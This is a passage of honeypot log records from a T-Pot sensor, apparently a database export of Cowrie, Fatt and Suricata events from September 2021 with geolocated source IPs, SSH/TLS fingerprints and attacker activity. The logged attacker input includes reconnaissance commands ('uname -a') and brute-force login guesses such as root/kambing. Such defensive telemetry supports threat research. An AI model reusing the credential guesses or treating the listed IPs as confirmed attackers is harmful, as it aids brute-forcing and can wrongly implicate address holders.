"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33365	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:58.725471+03	2021-09-20 15:00:05.766721+03	{"_id": "JwYPA3wBvYTbRNuELk_5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "121.4.68.188", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5847752094268799, "duplicate": true, "timestamp": "2021-09-20T11:54:58.725471Z", "@timestamp": "2021-09-20T11:54:58.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33367	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:59.108277+03	2021-09-20 15:00:05.768722+03	{"_id": "KwYPA3wBvYTbRNuEMk_i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:59.108277Z", "@timestamp": "2021-09-20T11:54:59.108Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33368	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:55:00.060225+03	2021-09-20 15:00:05.769721+03	{"_id": "LgYPA3wBvYTbRNuEMk_i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:55:00.060225Z", "@timestamp": "2021-09-20T11:55:00.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33369	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:55:00.060766+03	2021-09-20 15:00:05.771722+03	{"_id": "LwYPA3wBvYTbRNuEMk_i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:55:00.060766Z", "@timestamp": "2021-09-20T11:55:00.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33370	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:55.213186+03	2021-09-20 15:00:05.772722+03	{"_id": "HgYPA3wBvYTbRNuEI08_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:55.213186Z", "@timestamp": "2021-09-20T11:54:55.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33371	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:55.795569+03	2021-09-20 15:00:05.773721+03	{"_id": "HQYPA3wBvYTbRNuEI08_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "121.4.68.188", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5824923515319824, "duplicate": true, "timestamp": "2021-09-20T11:54:55.795569Z", "@timestamp": "2021-09-20T11:54:55.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33372	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:56.198686+03	2021-09-20 15:00:05.774723+03	{"_id": "IQYPA3wBvYTbRNuEJ08n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:56.198686Z", "@timestamp": "2021-09-20T11:54:56.198Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33373	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:53.857563+03	2021-09-20 15:00:05.775722+03	{"_id": "FwYPA3wBvYTbRNuEG09t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "121.4.68.188", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5776371955871582, "duplicate": true, "timestamp": "2021-09-20T11:54:53.857563Z", "@timestamp": "2021-09-20T11:54:53.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33374	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:54.844782+03	2021-09-20 15:00:05.776722+03	{"_id": "HAYPA3wBvYTbRNuEH09W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 23, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "121.4.68.188", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5822069644927979, "duplicate": true, "timestamp": "2021-09-20T11:54:54.844782Z", "@timestamp": "2021-09-20T11:54:54.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33375	87.112.251.105	109.199.241.180	Fatt	2021-09-20 14:55:05.188953+03	2021-09-20 15:00:05.777723+03	{"_id": "UgYPA3wBvYTbRNuESE_I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51359, "dest_port": 22, "timestamp": "2021-09-20T11:55:05.188953", "@timestamp": "2021-09-20T11:55:05.188Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33376	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:05.409317+03	2021-09-20 15:00:05.778723+03	{"_id": "UwYPA3wBvYTbRNuESE_I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35834, "dest_port": 443, "timestamp": "2021-09-20T11:55:05.409317", "@timestamp": "2021-09-20T11:55:05.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33377	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:04.864975+03	2021-09-20 15:00:05.780722+03	{"_id": "TwYPA3wBvYTbRNuESE_F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35832, "dest_port": 443, "timestamp": "2021-09-20T11:55:04.864975", "@timestamp": "2021-09-20T11:55:04.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33378	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:55:05.189211+03	2021-09-20 15:00:05.781722+03	{"_id": "YQYPA3wBvYTbRNuESk9X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "faf46368c572", "@version": "1", "timestamp": "2021-09-20T11:55:05.189211Z", "@timestamp": "2021-09-20T11:55:05.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33379	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:55:05.451965+03	2021-09-20 15:00:05.782722+03	{"_id": "YgYPA3wBvYTbRNuETE-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35834, "timestamp": "2021-09-20T11:55:05.451965", "@timestamp": "2021-09-20T11:55:05.451Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33380	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:55:07.557899+03	2021-09-20 15:00:05.783722+03	{"_id": "YwYPA3wBvYTbRNuEUk8o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.login.failed", "message": "login attempt [root/kambing] failed", "session": "faf46368c572", "@version": "1", "password": "kambing", "username": "root", "timestamp": "2021-09-20T11:55:07.557899Z", "@timestamp": "2021-09-20T11:55:07.557Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33381	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:55:08.685964+03	2021-09-20 15:00:05.784722+03	{"_id": "ZQYPA3wBvYTbRNuEVk8Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "faf46368c572", "@version": "1", "duration": 3.673041820526123, "timestamp": "2021-09-20T11:55:08.685964Z", "@timestamp": "2021-09-20T11:55:08.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33382	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:55:10.423463+03	2021-09-20 15:00:05.785722+03	{"_id": "ZgYPA3wBvYTbRNuEW09D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 50824338102318, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34120, "dest_port": 22, "timestamp": "2021-09-20T11:55:10.423463Z", "@timestamp": "2021-09-20T11:55:10.423Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33388	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:55:19.802536+03	2021-09-20 15:00:05.792722+03	{"_id": "gQYPA3wBvYTbRNuEgU8Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "1bc049ad6b90", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:55:19.802536Z", "@timestamp": "2021-09-20T11:55:19.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
33383	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:10.423637+03	2021-09-20 15:00:05.787721+03	{"_id": "ZwYPA3wBvYTbRNuEXE9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, 